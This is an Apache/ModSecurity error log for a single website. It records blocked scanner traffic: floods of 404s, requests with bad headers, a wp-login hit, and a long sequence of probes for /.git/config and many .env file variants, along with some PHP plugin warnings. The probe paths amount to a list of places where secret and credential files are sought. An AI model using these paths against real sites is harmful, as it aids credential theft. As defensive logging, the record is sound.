[Tue Apr 21 09:38:00.912592 2026] [:error] [pid 4822:tid 4833] [client 147.135.252.148:50768] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aebU-CAteFQFwS_23JnSIwAAAUc"]
[Tue Apr 21 09:38:03.634054 2026] [:error] [pid 4822:tid 4829] [client 147.135.252.148:50772] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aebU-yAteFQFwS_23JnSJAAAAUM"]
[Tue Apr 21 09:38:06.180798 2026] [:error] [pid 5377:tid 5394] [client 147.135.252.148:50774] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aebU_rBKychFlrHBdvta4wAAAcg"]
[Tue Apr 21 09:38:08.589844 2026] [:error] [pid 4777:tid 4797] [client 147.135.252.148:38354] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aebVAKxXur6bykKyLZQ2AQAAAQk"]
[Tue Apr 21 09:38:11.273408 2026] [:error] [pid 4822:tid 4831] [client 147.135.252.148:38358] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aebVAyAteFQFwS_23JnSMwAAAUU"]
[Tue Apr 21 09:38:13.793039 2026] [:error] [pid 4823:tid 4862] [client 147.135.252.148:38364] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aebVBfc8mke3PfHqsxH2vQAAAYk"]
[Tue Apr 21 09:38:16.393976 2026] [:error] [pid 4823:tid 4865] [client 147.135.252.148:38368] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aebVCPc8mke3PfHqsxH2wwAAAYw"]
[Tue Apr 21 09:38:18.876304 2026] [:error] [pid 4822:tid 4840] [client 147.135.252.148:42280] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aebVCiAteFQFwS_23JnSRwAAAU4"]
[Tue Apr 21 09:38:21.403902 2026] [:error] [pid 35320:tid 35334] [client 147.135.252.148:42290] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aebVDYJW6fdXWO6agMG51wAAAAQ"]
[Tue Apr 21 09:38:23.764373 2026] [:error] [pid 4823:tid 4876] [client 147.135.252.148:42292] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aebVD_c8mke3PfHqsxH20gAAAZc"]
[Tue Apr 21 09:38:26.152696 2026] [:error] [pid 4823:tid 4875] [client 147.135.252.148:42294] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aebVEvc8mke3PfHqsxH22wAAAZY"]
[Tue Apr 21 09:38:28.607116 2026] [:error] [pid 4822:tid 4839] [client 147.135.252.148:51136] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aebVFCAteFQFwS_23JnSTAAAAU0"]
[Tue Apr 21 09:38:31.060600 2026] [:error] [pid 35415:tid 35431] [client 147.135.252.148:51142] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aebVF0iqDinI4_22zzgUaQAAAMQ"]
[Tue Apr 21 09:38:33.458609 2026] [:error] [pid 35415:tid 35435] [client 147.135.252.148:51150] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aebVGUiqDinI4_22zzgUbAAAAMg"]
[Tue Apr 21 09:38:36.048527 2026] [:error] [pid 4822:tid 4834] [client 147.135.252.148:51166] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aebVHCAteFQFwS_23JnSVQAAAUg"]
[Tue Apr 21 09:38:38.462993 2026] [:error] [pid 35415:tid 35430] [client 147.135.252.148:35922] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aebVHkiqDinI4_22zzgUbQAAAMM"]
[Tue Apr 21 09:38:41.589116 2026] [:error] [pid 35320:tid 35337] [client 147.135.252.148:35926] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aebVIYJW6fdXWO6agMG58QAAAAc"]
[Tue Apr 21 10:44:29.465544 2026] [:error] [pid 4822:tid 4848] [client 43.157.148.38:48372] [client 43.157.148.38] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aebkjSAteFQFwS_23JnqpQAAAVY"]
[Tue Apr 21 11:33:14.225880 2026] [:error] [pid 4823:tid 4863] [client 185.194.178.34:28863] [client 185.194.178.34] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.194.178.34, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aebv-vc8mke3PfHqsxEqLQAAAYo"]
[Tue Apr 21 11:51:21.958117 2026] [:error] [pid 35415:tid 35430] [client 49.234.192.248:39210] [client 49.234.192.248] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aeb0OUiqDinI4_22zzgk-AAAAMM"]
[Tue Apr 21 12:39:52.820955 2026] [proxy_fcgi:error] [pid 35322:tid 35368] [client 103.4.122.14:45950] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Tue Apr 21 12:40:09.221188 2026] [proxy_fcgi:error] [pid 5377:tid 5399] [client 103.4.122.14:46048] AH01071: Got error 'PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Attempt to read property "version" on false in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140; PHP message: PHP Warning:  Undefined array key "wp_update_data" in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Tue Apr 21 14:05:58.135826 2026] [:error] [pid 4822:tid 4832] [client 43.134.35.91:50370] [client 43.134.35.91] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aecTxiAteFQFwS_23JlcXAAAAUY"]
[Tue Apr 21 14:16:27.816430 2026] [:error] [pid 4823:tid 4872] [client 3.74.168.239:44426] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aecWO_c8mke3PfHqsxFwVQAAAZM"]
[Tue Apr 21 14:16:31.588526 2026] [:error] [pid 35322:tid 35374] [client 3.74.168.239:34638] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env"] [unique_id "aecWP6PoAfV40BTfVKypWQAAAJE"]
[Tue Apr 21 14:16:32.641060 2026] [:error] [pid 4823:tid 4862] [client 3.74.168.239:34650] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.local"] [unique_id "aecWQPc8mke3PfHqsxFwdgAAAYk"]
[Tue Apr 21 14:16:33.775374 2026] [:error] [pid 4823:tid 4873] [client 3.74.168.239:34658] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.production"] [unique_id "aecWQfc8mke3PfHqsxFwewAAAZQ"]
[Tue Apr 21 14:16:34.907979 2026] [:error] [pid 4823:tid 4862] [client 3.74.168.239:34660] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.staging"] [unique_id "aecWQvc8mke3PfHqsxFwgwAAAYk"]
[Tue Apr 21 14:16:35.975312 2026] [:error] [pid 5377:tid 5394] [client 3.74.168.239:58718] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.development"] [unique_id "aecWQ7BKychFlrHBdvus5QAAAcg"]
[Tue Apr 21 14:16:37.072280 2026] [:error] [pid 4822:tid 4849] [client 3.74.168.239:58730] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.test"] [unique_id "aecWRSAteFQFwS_23JlmJQAAAVc"]
[Tue Apr 21 14:16:38.031952 2026] [:error] [pid 35321:tid 35398] [client 3.74.168.239:58740] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.remote"] [unique_id "aecWRjeHLhVUuu8cVXyC_wAAAE4"]
[Tue Apr 21 14:16:38.991915 2026] [:error] [pid 35320:tid 35352] [client 3.74.168.239:58750] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.bak"] [unique_id "aecWRoJW6fdXWO6agMHy6AAAABY"]
[Tue Apr 21 14:16:39.942598 2026] [:error] [pid 5377:tid 5391] [client 3.74.168.239:58766] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.backup"] [unique_id "aecWR7BKychFlrHBdvus6AAAAcU"]
[Tue Apr 21 14:16:40.902674 2026] [:error] [pid 4822:tid 4841] [client 3.74.168.239:58776] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.save"] [unique_id "aecWSCAteFQFwS_23JlmKgAAAU8"]
[Tue Apr 21 14:16:41.869045 2026] [:error] [pid 4822:tid 4826] [client 3.74.168.239:58780] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.old"] [unique_id "aecWSSAteFQFwS_23JlmLgAAAUA"]
[Tue Apr 21 14:16:42.817822 2026] [:error] [pid 5377:tid 5398] [client 3.74.168.239:58788] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.sample"] [unique_id "aecWSrBKychFlrHBdvus8AAAAcw"]
[Tue Apr 21 14:16:43.773126 2026] [:error] [pid 35415:tid 35443] [client 3.74.168.239:58802] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.example"] [unique_id "aecWS0iqDinI4_22zzg7ZgAAANA"]
[Tue Apr 21 14:16:44.731444 2026] [:error] [pid 35320:tid 35341] [client 3.74.168.239:58804] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.dev"] [unique_id "aecWTIJW6fdXWO6agMHy-QAAAAs"]
[Tue Apr 21 14:16:45.683903 2026] [:error] [pid 4823:tid 4863] [client 3.74.168.239:58820] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.prod"] [unique_id "aecWTfc8mke3PfHqsxFwkAAAAYo"]
[Tue Apr 21 14:16:46.634604 2026] [:error] [pid 4822:tid 4848] [client 3.74.168.239:55494] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.stage"] [unique_id "aecWTiAteFQFwS_23JlmRgAAAVY"]
[Tue Apr 21 14:16:47.588972 2026] [:error] [pid 4823:tid 4875] [client 3.74.168.239:55500] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.ci"] [unique_id "aecWT_c8mke3PfHqsxFwlQAAAZY"]
[Tue Apr 21 14:16:48.546437 2026] [:error] [pid 5377:tid 5393] [client 3.74.168.239:55508] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.docker"] [unique_id "aecWULBKychFlrHBdvutCAAAAcc"]
[Tue Apr 21 14:16:49.507814 2026] [:error] [pid 4823:tid 4856] [client 3.74.168.239:55510] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.live"] [unique_id "aecWUfc8mke3PfHqsxFwmgAAAYM"]
[Tue Apr 21 14:16:50.466162 2026] [:error] [pid 4823:tid 4855] [client 3.74.168.239:55512] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.preprod"] [unique_id "aecWUvc8mke3PfHqsxFwnQAAAYI"]
[Tue Apr 21 14:16:51.416591 2026] [:error] [pid 5377:tid 5402] [client 3.74.168.239:55520] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.uat"] [unique_id "aecWU7BKychFlrHBdvutDQAAAdA"]
[Tue Apr 21 14:16:52.369415 2026] [:error] [pid 4823:tid 4867] [client 3.74.168.239:55524] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.dist"] [unique_id "aecWVPc8mke3PfHqsxFwoAAAAY4"]
[Tue Apr 21 14:16:53.323093 2026] [:error] [pid 4823:tid 4870] [client 3.74.168.239:55526] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env.swp"] [unique_id "aecWVfc8mke3PfHqsxFwpAAAAZE"]
[Tue Apr 21 14:16:54.284798 2026] [:error] [pid 4823:tid 4866] [client 3.74.168.239:55540] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.env~"] [unique_id "aecWVvc8mke3PfHqsxFwrAAAAY0"]
[Tue Apr 21 14:16:55.243161 2026] [:error] [pid 4777:tid 4795] [client 3.74.168.239:55544] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/app/.env"] [unique_id "aecWV6xXur6bykKyLZRmjwAAAQc"]
[Tue Apr 21 14:16:56.209062 2026] [:error] [pid 4823:tid 4859] [client 3.74.168.239:50194] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/apps/.env"] [unique_id "aecWWPc8mke3PfHqsxFwsQAAAYY"]
[Tue Apr 21 14:16:57.166330 2026] [:error] [pid 5377:tid 5386] [client 3.74.168.239:50206] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/api/.env"] [unique_id "aecWWbBKychFlrHBdvutGQAAAcA"]
[Tue Apr 21 14:16:58.115344 2026] [:error] [pid 4822:tid 4835] [client 3.74.168.239:50222] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/web/.env"] [unique_id "aecWWiAteFQFwS_23JlmYQAAAUk"]
[Tue Apr 21 14:16:59.070964 2026] [:error] [pid 4777:tid 4804] [client 3.74.168.239:50228] [client 3.74.168.239] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/site/.env"] [unique_id "aecWW6xXur6bykKyLZRmnQAAARA"]
